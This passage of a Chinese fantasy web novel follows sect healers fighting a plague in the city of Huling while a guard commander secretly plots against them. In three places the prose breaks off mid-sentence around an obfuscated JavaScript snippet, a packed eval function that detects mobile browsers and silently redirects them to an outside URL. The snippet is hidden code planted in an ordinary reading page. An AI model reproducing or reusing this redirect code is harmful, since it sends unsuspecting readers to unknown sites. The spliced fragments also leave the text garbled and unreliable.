花沐雨一出城,便先来看茜君,谁料刚一找到茜君的营帐,便有卫兵向这边走来。营帐透光,花沐雨眼疾手快,躲到茜君榻下。她本安心在此,想等卫兵换班后便离开,没想到中间肖元影过来了一趟。 花沐雨蹲在榻前,看着茜君红润的面色,又将她的手脚轻轻拉出来,也没找到伤口淤青。想起刚刚自己听到的肖元影与卫兵的对话,肖元影对茜君的关怀不似作假,花沐雨心中便更定了几分,愈发坚信丹砂是多想了。 将茜君的手脚放回被子里,趁着四下无人,花沐雨闪身离开茜君的营帐。 她气息隐蔽,身形又极轻快,没用多久便沿着暗处摸到了关押俘虏的地方。 比起茜君的营帐,俘虏的待遇便大有不如了。那两个先行被抓住和探子和后面夜袭中被俘的十几个人都被关在一个大笼子里,此时正睡得东倒西歪。 川连将他们交给禁军的时候就已经命人解了他们的穴,他们此时已能自主活动和说话,但花沐雨要找的并不是他们。 他们被缴获的兵器堆在笼子旁,花沐雨矮身捡起最边上的一柄刀闪回暗处。背靠着柴堆,花沐雨仔细检查过刀柄和刀鞘,又将刀抽出来,看了一遍刀型、刀刃和材质,心中最后一丝疑惑也解了——此前她在城门外见到禁军时心中惊疑不定,只因她留意到了禁军统一的佩刀,刀型与匪徒所用的极其相似。 为了证实自己的猜测,她借机看了吴谦的佩刀,夜间又来此重寻匪徒的佩刀。二者虽然刀型极像,但刀柄刀鞘、所用材质都是不一样。想来这只是姜国某种流行的某种刀型,匪徒所用的兵器和禁军所用的并不是同一批。 至此,她因丹砂而对肖元影等禁军起的疑虑便彻底打消了。 永安堂。 几乎是一夜无眠,南星带着众弟子将内外重新归置了一遍,跟石耳一起排好了众人的轮值表。丹砂跟着她们一起,几乎一整晚都在忙碌。直到临近破晓,晨曦中的永安堂终于迎来了静谧。 趁着这一点时间,南星和几个弟子简单吃过早饭,顺便休息休息。丹砂单独靠在一边,广丹不远不近地坐在她和那群人中间,闷头咬着饼子。 换了行头的花沐雨从后堂绕出来,立在堂屋的过道上。丹砂听见脚步声,见是她,便走了过去。 花沐雨拿了一个饼子,有一口没一口地掰着,低声道:“我亲眼去看了,什么事都没有,你大可不必怀疑了。” “什么叫什么事都没有?”丹砂问。 “我之前在城外时,发现禁军的佩刀和匪徒的兵器器型一致,心里有了些疑虑。但夜里我亲眼一看,二者大不相同,并不是同一批。”花沐雨道,“茜君我也去看了,营地的人把她照顾得很好,给她单独开小灶,肖统领还专门去看她,你也不用担心。” 丹砂皱起眉头:“怎会如此……不应该啊,肖元影和禁军不可能是好人。” 花沐雨劝慰道:“我有时候也会这样,总觉得不对,但实际上什么都没有发生。” 丹砂不再言语,但看她仍未解开的眉心,便知她仍未被说服。 “你跟广丹怎么回事,平时贴得那么近,如今吃个饭离了八丈远?”花沐雨看了看板着脸的广丹,那孩子从昨晚进城的时候就气鼓鼓的,怎么竟然一直气到了现在。 “我和广丹?”丹砂疑惑地看向花沐雨,眉间的死结打得更紧了,“她是和我生气吗?” 14. 知穷途却无他路 吃过饭,天色更亮了起来。永安堂内熄了灯,南星提醒丹砂和广丹抓紧时间睡一会儿,过后她们还要去接石耳等人的班。 躺在床上,想起花沐雨的话,丹砂还是问了一句:“广丹,你最近有什么不开心的吗?” “没有啊。”广丹背着身。 丹砂隐隐感觉到广丹不开心,但没想到是因为自己,只当她是因为什么事在生闷气。广丹没说,她就没问。广丹这个反应,肯定是还没消气。丹砂追问了一下:“最近我有做什么让你觉得不高兴的事吗?” “没有啊。”广丹还是这样说。 这人语气好奇怪。丹砂也翻了个身,既然广丹不说,那还是等她自己消化一下吧。 这样想着,丹砂正闭上眼睛准备入睡,就听广丹问:“你为什么不让茜君走?” “茜君?”提起她,丹砂不禁又想叹气。虽然花沐雨说她没事,可她总是觉得不对。“我总觉得那个禁军统领不是好人,见到他的时候,我鸡皮疙瘩都要起来了,从没有人给我这样的感觉。感觉把茜君交给他,就像羊入虎口似的。说不定他会害死茜君。” 广丹撇撇嘴:“你还挺关心她的。” “谈不上关心吧。”丹砂道,“她比我们小那么多,一个小孩而已,总不能看着她死了。” 广丹冷笑一声:“你还挺善良。” 丹砂有些诧异,转过身来拍拍广丹:“你好像一直很讨厌她。” “我是为了谁啊!”广丹一下子翻身坐起来,“那么小的孩子就知道撒谎,还一直对你那个态度。结果你倒好,还对她挺好的……” 丹砂是真的诧异了。她没把茜君的态度当回事,没想到广丹比她在意。 想了想,丹砂说:“我也谈不上喜欢她,你看我们同车的那几天,我从没有跟她接触过,对不对?我不想把她送走,完全是因为我觉得那个统领不是好人、我觉得她会有危险而已。我们虽然对她谈不上喜欢,但是也不至于见死不救吧?” 广丹哼了一声,这才继续躺下了。 广丹入睡很快,躺下没多久,就传来均匀的呼吸声。 丹砂翻了个身,心里还想着禁军统领的问题,心中的疑问得不到解答,迷迷糊糊也睡着了。 一觉睡醒,简单用过饭,丹砂等人接替了石耳等人。 丑寅之交,换班过后早已睡下的川连被急促的拍门声惊醒。 广丹站在门外,急匆匆地喊他:“师叔!师叔!你快过来!” 川连稍稍平复了一下,一边起身,一边提高了音量问:“听到了。怎么了?” 广丹在门外焦急地解释道:“有一个男孩,昨天情况就不好,丹砂和石耳给他用了热灸,热灸之后情况稍微好了一点,但是交班走了之后,他又开始吐那种黑血。丹砂说热灸没用了,给他灌了师祖的药下去,这才好了没一会儿,他就连着药一起都吐了。丹砂正给他扎针,嘱咐我立刻叫你们过去。” “什么时候喂的药?”川连快速用攀膊将袖口勒好,打开房门,接过广丹递来的手套戴上。 “丑时二刻喂的。” 二人健步如飞,飞快地绕过回廊。 广丹在前头为川连掀开帘子:“在这儿。”又对屋里喊,“川连师叔来了!” 这是一间稍小的耳房,屋里躺了三五个人,丹砂等人正围在一张床边。 人群为川连让开一个位置,叫他挤了进去。 男孩身上已经快扎满了,丹砂还在继续下针。 “情况怎么样?”川连来到床头,一边看那个男孩的耳鼻出血情况,一边问丹砂。 丹砂摇摇头:“暂时止住了吐,但脉象很不好。南星用芦苇管勉强喂了点药汤进去,也没什么效果,后面抽搐起来,连芦苇管都咬断了。” 川连又给他号了一会儿脉,语速飞快地说:“止吐的穴位要一直扎着,不能再让他继续吐了。南星?药呢?再灌!” “是。” 在不碰到针的情况下,水萍尽量抬起了男孩的头。广丹帮她掰开了男孩的嘴,南星小心地将重新熬的药送到他嗓子里。” 药一入喉,男孩立时开始挣动。在旁的其他弟子早有准备,马上摁住了他的手脚。 “药喂下去一个时辰,要是不吐,耳鼻流血没有变多,没有继续抽搐,那就还有救。”川连低声问,“他家人呢?” “在这儿。”人群外,一位夫人连忙应道。她被挤到了人群之外,一双含泪的眼睛又肿又红,不敢放声打扰到大夫施救,只能拿帕子压着自己的嘴。 川连看了她一眼,没有多说什么。 一碗药灌下去,南星直起腰,将空碗递给一边的广丹。丹砂轻轻旋动银针,过了片刻,男孩总算平静下来,只在嘴里嗬嗬地喘着气。 众人松了一口气,那男孩的母亲背过身去,用手帕捂住脸,呜呜地哭了。 “保气维养的药还继续给吗?”丹砂问。 “先停一停。”川连见他一直嗬嗬喘气,俯身将耳朵贴在他的胸口听了听,“嗓子眼里还有血。南星?” 南星应了一声走过来,川连让丹砂看好,然后和南星二人合力,将堵住男孩气道的污血排了出来,喘气声这才好些了。 “一会儿叫他侧躺着,等神志清醒了,可少喂些水。”川连交待着,众人一一应下。 这边忙完,川连等被临时喊醒的人从耳房中出来,自去休息。 广丹本想将沾了男孩吐出来污血的晦物拿去销毁,却被丹砂叫住:“先不急着倒,给我看看。” “今天师叔等人都已经验过了。”这样说着,广丹依言将一条沾了污血的帕子递给丹砂,“和之前验的一样,是水行的瘟疫,但病气特殊些,和之前有记载的都有不同。” 丹砂接过帕子:“这个给我,别的你去处理了吧。” 广丹嗯了一声,叮嘱她小心些,过后记得自己处理掉,便自去去处理晦物了。 “南星,我去一趟西厢房,有事叫我。”丹砂对屋里的南星说。 “嗯,你去吧,这儿我看着。” 得到了南星的保证,丹砂快步走到西厢房。 西厢房最是偏远,此前对污血的查验也是在这里。 丹砂推开门进去,谨慎地加了一层面罩。底下垫上蓬草,丹砂将广丹给她的帕子置于蓬草之上。手腕翻转,《逢春决》运起,淡白的灵力将帕子托上半空,丹砂聚精会神,右手拨动,尝试将帕子上的污血剥离。 灵力如穿针引线,不多时,就从帕子上提出一滴污血。提出污血后的帕子落回蓬草上,丹砂集中精力,再次对污血进行分离。 除去病人的□□,除去脏器的碎末,除去灵药的残液,空中剩余一团淡淡的灰色雾气,在丹砂的灵力中滚动。 这灰色的雾气,便是水行瘟疫的病气。 如此看来,此次查验的结果一如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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旁边的吴谦眼疾手快,最先赶到她身边扶起了她,安慰道:“你别急,他们是仙人,肯定能救你儿子一命。就算寻常的药没用,他们还有灵力,绝对可以保住孩子的性命。” 丹砂快速看了吴谦一眼,又回头看向川连。 在吴谦的搀扶下,男孩的母亲已经跪在地上,合着双手哭求道:“求求你们,我求求你们了,什么都好,救救他,我下辈子给你们当牛做马啊。” 川连和丹砂都知道那不是长久之计,使用灵力永远治标不治本,如果找不到根治的办法,躺在厢房的川断就是他们前车之鉴,借灵力获得半刻生机的病人也终有一死。 “我要是给他闭锁经脉呢?”丹砂问。 川连摁住了她的手,说话极快,声音又极低:“小南国创派一千五百年,研究重续凡人经脉的前辈不知凡几,但从没有人成功过。一旦闭了凡人经脉,侥幸者长睡不醒,一般人立时毙命。”说罢,川连盯着她的双眼,“丹砂,此时你断不可如此。” 丹砂明白川连的意思。 男孩已经吐不出多少血了,但仍在剧烈作呕。广丹脸上渐着血点,催促地看向丹砂。男孩母亲的哭求撕心裂肺,丹砂挣开川连的手,收起针帘。 淡淡的白光在丹砂的指尖流淌,病房中浊气一清。灵力沿着太阴、少阴二脉走了一圈,病人总算镇静下来,痉挛的四肢放松了,呕吐止住,面色也舒展开来。 丹砂收回灵力,南星垫高他的头颅,小心地放他平躺下来。 男孩的母亲挤开人群扑过来,颤颤巍巍地去探男孩的鼻息。感受到温热的气流,她哭叫一声,瘫坐在地,不住地千恩万谢,直说要去和所有人宣扬小南国医术高妙,吴谦也跟着一起对小南国众人赞不绝口。 南星等人都放松下来,谦和地应付了几句。 站在床头的川连长出一口气,但心中却丝毫没有喜色。 15. 人心渐离间 “不过两日,危重的病人已经出了数十例。我们的灵力消耗大半,这样下去不是办法。”川连坐在中间,面色沉重。 按照惯例,小南国的弟子们会在一起吃晚饭时简单讨论当日的情况。围桌而坐的小南国弟子累了两日,精气神都大不如前。 “用上新药之后,川断师叔身上的黑斑已有枯萎之象,脉象也回转不少,新药是有效的,目前也还没遇到药力的减退。”白英道。这几日主要是她负责川断的日常看护。 “情况不好的病人太多了。”石耳道,“那种突发的急症,若是不用灵力,病人就没救了。” “封闭太阴、少阴二脉可以有效救急。”丹砂道,“川断师叔的情况就是最好的佐证。闭锁经脉之后,症状恶化的速度会最大程度地减慢,患者的体征也会趋于平稳。” 白英惊讶地看向丹砂:“川断师叔是修士,修士自闭经脉已经是胆大妄为了,为他开续经脉,恐怕都要师祖亲自出手才能十拿九稳。要是闭锁凡人的经脉,和直接杀了他们有什么区别?” “区别就在于他们没有死。”丹砂道,“修士经脉可以开续,凡人的经脉也一定可以。” 石竹和路通对视一眼,撇了撇嘴。 “几千年了,《逢春决》中先辈对此的研究不胜枚举,但无一人可以实现。”白英劝道,“我们的目的不过是为了救急,有灵力可以用,完全不必用这么极端的方式。” “用灵力行不通。”丹砂皱着眉头,“我们一共就这么几十个人,扈陵里的患者有多少,靠灵力我们能救几个?然后不等救完,我们就先耗空灵力;一旦我们耗空灵力,剩下的人不是一样会死。” “新药是有效的。”白英道,“我们暂时先以灵力维持,等再过几日,我们验证过药效不会减退、瘟疫可以根治,就可以大范围给药,到时候就不会有你说的问题。” “按照现在的趋势,不消三日,我们的灵力就要耗尽。”丹砂道,“验证药效还要几日?根治还需几日?要是师祖的药也不起作用怎么办?如果我们不从现在开始转变方式,今日的川断师叔就是明日的我们。” 卜芥与南星默默点头,白英也陷入沉思。 丹砂继续道:“而且这个瘟疫也是会感染修士的,扈陵城现在只进不出,如果我们灵力耗尽,与凡人无异,走不出扈陵城,无法向师门传信,我们只能等着困死。” 石竹听得不耐烦,抱着双臂开口道:“你没听白英说吗?新药是有效的,目前也没有药力减退。新药的预期是好的,你现在就要用完全悲观的预期去结束那些本可以活下来的人吗?” “我也说了,闭锁经脉不等于死。”丹砂重申,“比起使用灵力,闭锁经脉是对我们消耗更少、而且也更有效的方法。我们必须先保持自己,才能救更多的人。” “闭锁经脉怎么不等于死了?”石竹反问,“你回去看看《逢春决》,里面记载了几百篇前人的论述。这么多人都证实了此路不通,你就天纵奇才了?你问我们验证药效还要几日、根治还需要几日,那我也要问你了,等你研究出来如何为凡人开续经脉又要几日?要是你也研究不出来如何为凡人开续经脉怎么办?” 小南国弟子修炼研习,《逢春诀》是最最基本的。石竹叫丹砂回去看《逢春诀》,可以说是很看不起人了。 丹砂没答话,石竹接着嘲讽道:“你不如直接说,你不想用珍贵的灵力去救这些普通的凡人,比起他们的命,你的安全更重要。他们感染瘟疫算他们倒霉,药没出来就病危,那你也没办法,只能为他们着想,送他们没有痛苦地上路。” “我跟你聊方式,你给我扣帽子。你是想解决问题还是想吵赢我?说到底我们争论的就是一个概率的问题。”丹砂心平气和,“即使用最乐观的预期去估计,你的方法不一定能救下更多的人,但我的方式一定能走得更远。” “你在自说自话什么啊,你怎么就能走得更远了。”石竹道,“你的思考方式就很奇怪,这么多人都跟你说了这个方法不行,你就非要犟。” 丹砂不再和石竹纠缠,转而问向众人:“你们怎么想?” 其他弟子面面相觑,没有一个人说话,石竹便继续道:“还怎么想?大家都不好意思说你。能提出这个想法,我看你是疯了。往日在谷中时,你就一直这么拔尖要强、特立独行,非要跟大家拧着来。这次下界,我看你是狂大了,之前当着人家肖统领的面丢脸,现在更是拿自己当人性命的主宰了。” “你先冷静一下。”丹砂淡淡地说,“我们在讨论今后的处理方式,而不是对我的看法,如果你……” “什么叫我先冷静一下?”石竹一下子站了起来,“你算个什么东西,不过仗着自己是个女孩,年纪小又身世可怜,得众人几分容忍,你还真以为你有什么真本事,敢来指教我?” 坐在石竹旁边的路通拿起水杯喝了两口。 石竹继续道:“我完全看不出来我们在这里陪着你浪费时间有什么意义,你根本不讲逻辑。”说罢,拍案而去。 众人鸦雀无声,广丹偷偷看了看南星,南星低着头,没有看见她的视线。白英望向主位,川连面色也不好。 丹砂的情绪出奇地平静,仿佛她只是观众,而非参与这场争执的其中一方。石竹走了,她继续问道:“师叔,你怎么看?” 川连沉吟片刻:“接下来的几天,到新药效果验证之前,非必要不使用灵力。若灵力消耗太多,在征得家属的同意之后,可以采用锁脉之法,但务必将厉害与病人家属说清楚。” 众人领命称是,丹砂默默在心中叹了口气——这样既要又要,也不知道能有多少改善。 “石耳。”川连又唤道,“传信回师门,告知谷中我们此时的状况。” “是。”石耳应道。 会面结束,众人散去。石耳回到弟子们居住的后院,找出鹤纸,准备按照川连所说给谷中回信。 正要提笔,窗外传来响亮的招呼:“哟,石兄弟!” 石耳抬头一看,原来是吴谦。 “这是在做什么?”吴谦问道。 “在给师门回信。”石耳笑着答道。 “哦,之前会面的时候川连先生说的那个是吗?”吴谦倚在窗前,此前会面的时候他和花沐雨也都在。 “正是。”石耳道,“吴统领没去忙吗?” “我排完了巡逻,正路过呢。”吴谦看着他笔下写了几个字的信,“这信写完了怎么送出去啊?要我们帮忙吗?” 石耳笑道:“吴统领有所不知,我所用的是凌虚界的鹤纸。将要传递的消息写在鹤纸上,再注入灵力,它就能自动将信送到收信的人手上。” “这么神奇。”吴谦凑近了些,“给我看看?” 石耳递给他一张没用过的鹤纸,吴谦小心接过,反复 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16294795|182691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 查看。见他爱不释手,石耳道:“一张纸而已,吴统领喜欢,拿去也无妨。只是若无灵气催动,鹤纸无法送信,统领也只能留着把玩了。” 吴谦笑道:“那我就却之不恭了,我一介凡人,竟也能得到这神仙用的东西。” “不是什么厉害的法宝。”石耳忙解释,“只是一张鹤纸罢了。” “这么神奇的东西,你们每人都有?”吴谦语气惊讶地问。 “传信需要,弟子们自然都是有的。”石耳道。 “啧啧,乖乖,真了不得。”吴谦叹道。又问,“那要是你们照顾病人的时候沾上了血污什么的,这个鹤纸还能用吗?” “还能用。”石耳道,“但是我们一般都不会带着这个去接诊吧?又用不上。” “你们都不随身带着吗?”吴谦瞪大了眼睛。 “不带啊。”石耳理所当然地说,“想写信回来写就好了。” “原来如此。”吴谦似乎明白了,又笑道,“原来我们见之神奇的宝贝,也不过是你们眼里一个不稀奇的物件罢了。” 石耳忙摆手:“统领过奖了。” 夜色渐浓,南星提着药信子走过穿堂,见吴谦站在门柱边,不知在观望什么。 “吴统领,”南星随口打了个招呼,“这是找什么呢?” 吴谦面色一僵,转瞬又松泛下来:“原来是南星姑娘。你可有见过那个戴帏帽的姑娘?” “哦,你说她。”南星恍然,问道,“你找她做什么?” “哈哈,不过想闲聊两句。”吴谦下意识地搓着脖颈,“要是没见到就算了。” 南星狐疑,心中忽然有了一个古怪的猜测。早前她就见这个吴统领和花沐雨单独站在廊中说话,吴统领好像还很关心花沐雨似的,如今还这样等着找她……这个吴统领该不会是对花沐雨有点意思吧? 这样想着,南星心中不禁偷乐起来,于是问道:“你想跟她闲聊什么啊?” 吴统领觑着南星的神色,斟酌着说:“我看她好像不是和你们一起的大夫,想知道她是做什么的,偏我问她她也不肯跟我说。” “她算是我们雇的保镖吧。”南星调笑道,“若论身手,吴统领你可绝对打不过她。” “我猜到她会功夫,但看她总有些羸弱,竟然是个高手吗?”吴谦问道。 “高手中的高手。”南星答道,“若不是有她,入城前的那一伙儿贼人就够我们消受的了。” “那伙贼人可是不少,”吴谦道,“她竟以一当百毫发无损吗?” 提起这个,南星语气低落了几分:“哪有那样全能的人呢。她一个对付那么多个,虽然没受什么伤,但气血消耗得厉害。得亏那些贼人身手一般,若人再多些,指不定要损伤成什么样子,我这几日都盯着她喝药呢。” 吴谦也垂下眼去:“她出手竟然会消耗自身气血吗?我还想找她切磋切磋呢。” “你可不要再惹她出手了。”南星赶忙告诫,“经常出手对她身体不好,你若想和她多接触,可以跟她一起来我这边帮帮忙。” 吴谦无不答应。他看出南星有所误会,但自然不会去解释。有她这样的误会在,反而便宜他行事。 “哦,对了。”吴谦作势挠挠头,“她叫什么名字啊?我问她也不肯说。” “她的名字?”南星一笑,“等她愿意告诉你的时候自然就会告诉你了。” 16. 上位者大谎弥天 清脆的敲门声在扈陵的晨光中回荡。 环顾这街区,深深的巷子中空无一人,青石板路的缝隙里也已长出了杂草。白英南星带着花沐雨和吴谦等人,正在进行每日例行的查访。 半晌,门里传来小心地询问:“哪位?” “是我,南星。”南星贴着门,朝里面喊道,“前两日我们来过,今天再来看看你婆婆。” 门吱呀一声打开了,露出里面一张年轻又憔悴的脸。 根据吴谦所说,病患都被集中到了南城。除了从北城迁过来的,还有一些本就住在南城的病患仍在家中居住,这一家便是本就家住南城。 南星白英等人此前已经来过,花沐雨和吴谦倒是第一次跟着走访。来之前南星为他们简单说过,这一家男人原本在扈陵守军中当差,可惜瘟疫传开,她家男人染病死了,只剩下一个年轻的媳妇照顾着同样染了瘟疫的婆婆。 南星问:“我们能进去吗?” 年轻的媳妇眼睛通红:“快请进来吧。”说着,她让出路,“上次你们来过之后,婆婆的精神好了很多,我正念着你们今日什么时候到呢。” 进得门去,花沐雨四下打量。 这家人院子不大,但也算宽敞,收拾得干净整洁。正房并厢房,一共三四间屋子,年轻媳妇的婆婆在正房,窗户和门都为通风打开着,屋子里气息并不污浊,比她们之前去过的几家状况都好得多。 来到病床前,病床上的老夫人眼眶和双颊都深深凹陷,面色蜡黄,左边颧骨上有一小块黑褐色,正在昏睡。 白英放下药箱,先是凑近观察了一下那块黑褐色的斑,又用手摁了摁,见仍旧只是普通的老年斑,并无其他变化,这才松了一口气。 年轻的媳妇帮她把老夫人的手从被褥下拿出来,那手和老人的脸一样枯瘦。白英浅浅地搭了一下脉,问:“老太太夜里还有发热吗?” “最近都没有了。”年轻的媳妇答道。 白英拿开脉枕:“把之前的黑斑露出来我看看。” 年轻的媳妇掀开被子,将裤管卷起来,膝盖下三寸处果然有一块熟悉的黑斑。 白英看了看,又问:“别处还有新起的吗?” “别处没了,只有这一处。”年轻的媳妇答道。 白英嗯了一声:“老太太情况还行。上次给你留的药还在吃着么?” “在吃着。”年轻的媳妇答道,“还剩下两副。” “今天吃了吗?”白英又问。 “今早刚吃过。”年轻的媳妇答道。 白英点头:“情况控制得还行,症状不算特别严重,但是老人家年纪大了,被病耗得虚弱。这个情况,你们继续在家里,先不要去永安堂,也不要再接触外人。我先给你婆婆热灸,然后再给你续几副药送到你家里来。如果老太太情况有变,你再来永安堂找我们。” “多谢大夫。”年轻的媳妇此前看小南国的大夫给婆婆热灸过,知道她们要用水碗蘸灭热灸条,忙趁白英收拾东西的时候前去准备。 热灸要除去部分衣服,吴谦避出门来,花沐雨帮不上忙,便一起陪同着来到院中。 院中有水井,媳妇去厨房中取了碗,没关门便来接水。 花沐雨帮着她汲水,起身时目光随意一扫,看到了正对着门的厨房餐桌上面放了一把有些眼熟的刀。 “你丈夫在扈陵军中当差?”花沐雨问道。 媳妇跟花沐雨一起从井口提出打满了水的桶放到地上,直起腰笑道:“对。你听谁说的?我家官人在世时,还是个小官呢。” “此前闲聊,听南星提了几句。”花沐雨朝厨房中示意,“餐桌上的那把,是他的佩刀么?” 媳妇回头看了一眼,目光中有些怀念:“正是呢。他当差回家吃饭时随手放在那儿的,我还埋怨他。没想到他到家当夜就一病不起,之后我也没收,那刀就一直放在那儿。”说罢,年轻的媳妇一笑,收回目光,弯腰从桶中舀了半碗水。 “我能去看看吗?”花沐雨问。 “自然可以。”年轻的媳妇含笑答道,“我去看看我婆婆,你们随便看。” 一如整个小院,厨房中也收拾得干净齐整。 花沐雨迈过门槛,略略打量了一圈后,伸手拿起餐桌上的佩刀。 连刀带鞘反复观察一遍,又呛啷一声长刀出鞘,花沐雨对着天光看得分明,这把佩刀与扈陵城外贼人所用的刀一般无二,只是刀鞘刀把的品级高了些,想来是这家男主人军衔较高的缘故。 吴谦站在她身后,看着她做完这一切,淡声问道:“你似乎对各色兵器很感兴趣。” “并非是对兵器感兴趣。”花沐雨仍在仔细观察刀身,闻言分神答道,“你可还记得被我们俘虏的那帮贼人?” “哦……”吴谦假做回忆,“那几个人是吗?记得。” 花沐雨归刀入鞘,将刀举到他眼前,目光欣喜地看着他:“他们所用的兵器,正是这样的长刀。” 吴谦接过佩刀,在手中缓缓摩挲:“你是说,扈陵城外的贼人,可能是扈陵当地叛逃的守军?” “此事还不能下定论,但能确定得是,贼人所使用的兵器正和扈陵守军是一样的。”花沐雨道,“此事还需今早告知肖统领。” “原来如此。”吴谦话锋一转,“那日姑娘也看了卑职的佩刀,可是也怀疑卑职吗?” “不一样。”花沐雨一笑,对吴谦解释道,“那日我也看过你的刀,你们禁军的刀和贼人所用的刀材质和锻造方式都有不同,而这把扈陵守军的刀,无论是用的铁料还是锻造手法都和贼人所用的刀一模一样,绝对是出自同一批。” 吴谦看着花沐雨:“没想到姑娘还懂锻刀。” “略能分辨一二而已。”花沐雨道,“统领可知扈陵其他守军的佩刀现在何处?” “其他守军的佩刀么?”吴谦斟酌着,“我还真未留意过,还需传信回去问问肖统领。” 花沐雨抱拳:“事关重大,辛苦吴统领帮忙询问。” “这是自然。”吴谦面带微笑。 “扈陵城中急报!” “进。” 兵卒快步捧进来一个信筒,肖元影丢开手里的兵书,取信细看,只见信上写道: “属下今日随小南国仙师走访南城病患,于一户前扈陵驻军家中发现了扈陵驻军的佩刀。经帏帽姑娘的查验,扈陵驻军佩刀与扈陵外贼人所用兵器一致,故特此致信统领,求问可有扈陵守军大批佩刀如今是何下落。” “此事还需调查一番。”肖元影看着信,对送信的兵卒道,“你先出去,我稍后再给城中回信。” “是。” 送信的小兵依言退出营帐,肖元影又看了一会儿,将信置于案头常明的烛火之上细细烤过。不多时,信纸的空白处便出现了一排排蝇头小字。小字写道: “统领先前叮嘱属下查明之事,如今已有眉目。 “该帏帽女子确实并非小南国的医修,据小南国的人描述,其为他们所雇的保镖,战力非同小可,但其功法伤身,围攻消耗或可破之。其人对兵器颇为熟识,佩刀一事也是她忽然发现的,属下推说不知,故传出此信来。 “丹砂在小南国一行人中位置颇为微妙,因其恃才傲物、一意孤行,修士中有多人对她不满,但帏帽女子、川连等对她颇为信赖。其人态度在修士一行中有一定的影响力,看人颇准,虽无心朋党,但不容小觑。 “修士传信,仰赖一物,名为鹤纸。使用鹤纸配合灵力,才可传出信去。属下已探明鹤纸样貌,并获悉小南国弟子并不会将鹤纸随身携带。 “帏帽女子曾借故查看过属下的兵器,所幸统领派人出城围剿时特意让他们改用从扈陵守军尸体上捡下的佩刀,故而帏帽女子并未从属下这边发现端倪。此次她能发现守军佩刀确属意料之外,如何应对,还请统领示下。” 肖元影垂眸,思索片刻,将信纸付之一炬。而后取出一页白纸,提笔写道: “我军到时,扈陵守军几乎死伤殆尽,我等只来得及照拂最后几位病重的守军,而事多纷杂,此前离世守军的情况、其余守军的情况、包括守军兵刃的去除,我辈俱并未十分留意。我已查验缴获俘虏的兵器,确为我国军中制式。或许扈陵守军落草,或是贼人盗走兵器,皆未可知。此一发现十分重大,不日我便将此一并上报朝廷。疫情艰难,城中艰险,还望吴卿代某拜谢诸位仙师。” 停笔,端详了一会儿后,他又从书案的暗格里取出一个小瓷瓶和一支描笔。揭开瓷瓶的封口,里面是透明的液体。 他用描笔蘸着这透明的液体,在信纸空白处写道: “城中可能走漏风声者,一律灭口。需查明众人鹤纸分别放置何处,并试出帏帽女子的深浅。勿使丹砂妖言惑众。” 城南街道走访完已是下午,众人回到永安堂,顾不得吃饭,抓药发药,又是一番奔忙。 一进门正撞见广丹,花沐雨问:“你见到丹砂了吗?” “她不当值,应该正在后院 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16294796|182691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 休息呢。”广丹道。 作别广丹,花沐雨绕进后院。 永安堂是个三进的院子。前面两进都在做药房和接收病人,最后一进是平时他们伙计和掌柜家眷等人休息的地方,如今小南国的弟子们也住在这里。 不同于前面两进院子的嘈杂与忙碌,一进后院,没什么人活动,四下都是静悄悄的。值了夜班的弟子们都在休息,花沐雨轻轻敲了敲丹砂的门,小心地推门进去,丹砂正披着衣服坐在桌前。 见进来的是花沐雨,丹砂收回视线,继续翻看手中的书籍。 花沐雨自去她对面坐下,翻过茶杯,给自己倒了杯水:“今日我与南星白英出门走访,其中一户有人家,她家男主人原是扈陵城本地的守军,瘟疫爆发后殉职。在她家,我发现了男主人的遗物佩刀,和扈陵城外贼人所用的一模一样。” 丹砂目光一凝,从书本中抬起视线:“你是说,贼人是扈陵城原来的守军?” 花沐雨摇摇头:“还不能确定。吴谦已送信回大营,询问扈陵守军的情况和他们兵刃的去处,目前时间尚早,还未有回复。” “吴谦?你问他?”丹砂皱起了眉,又问,“他去问谁?” “信应该是送给肖统领。”花沐雨道。 “他俩我一个都不信。”丹砂收回目光,指尖灵光一闪,书页无风自动,哗哗翻到她想要的那一页。丹砂低着头继续看书,一边又问,“你多久没去看茜君了?” “上次去过之后就再也没去过了。”花沐雨道,“你觉得我需要时常去看吗?上次去看时,茜君过得很好。这些日子,肖统领和吴统领也什么事都没有。” “再去看看。”丹砂道。 花沐雨并不赞同:“城内瘟疫盛行,我如此频繁出入,万一将瘟疫带去了城外大营怎么办?上次我们不就说了,若茜君无事,你便可安心了,如今又要我背着人去探视,为何还是信不过人家呢?” “怕带去瘟疫,那就清理干净了再去。”丹砂不以为意,“城外禁军因为你感染瘟疫的概率有三成,我们不盯着,茜君受害于禁军的概率有八成。” 饶是花沐雨也觉得丹砂有些臆想和固执了。她叹了口气:“这三成是实打实的概率,而那八成,只是我们猜测的概率。丹砂,我不能因为你没有真凭实据的怀疑,就让近千人冒这样的风险。” 丹砂抬起头,用手撑着下巴,盯着花沐雨看了一会儿。 “我可是告诉过你了。”丹砂淡淡地说,“肖元影不是好人,茜君在他那儿会死。你大可不信。我已经努力过了,若他日茜君真的死得不明不白,我也问心无愧。倒是你,花沐雨,如果我告诉过你、而你不以为意,到时候茜君死在城外,你受得了吗?” 花沐雨心头涌起一股不悦,又飞快散去。 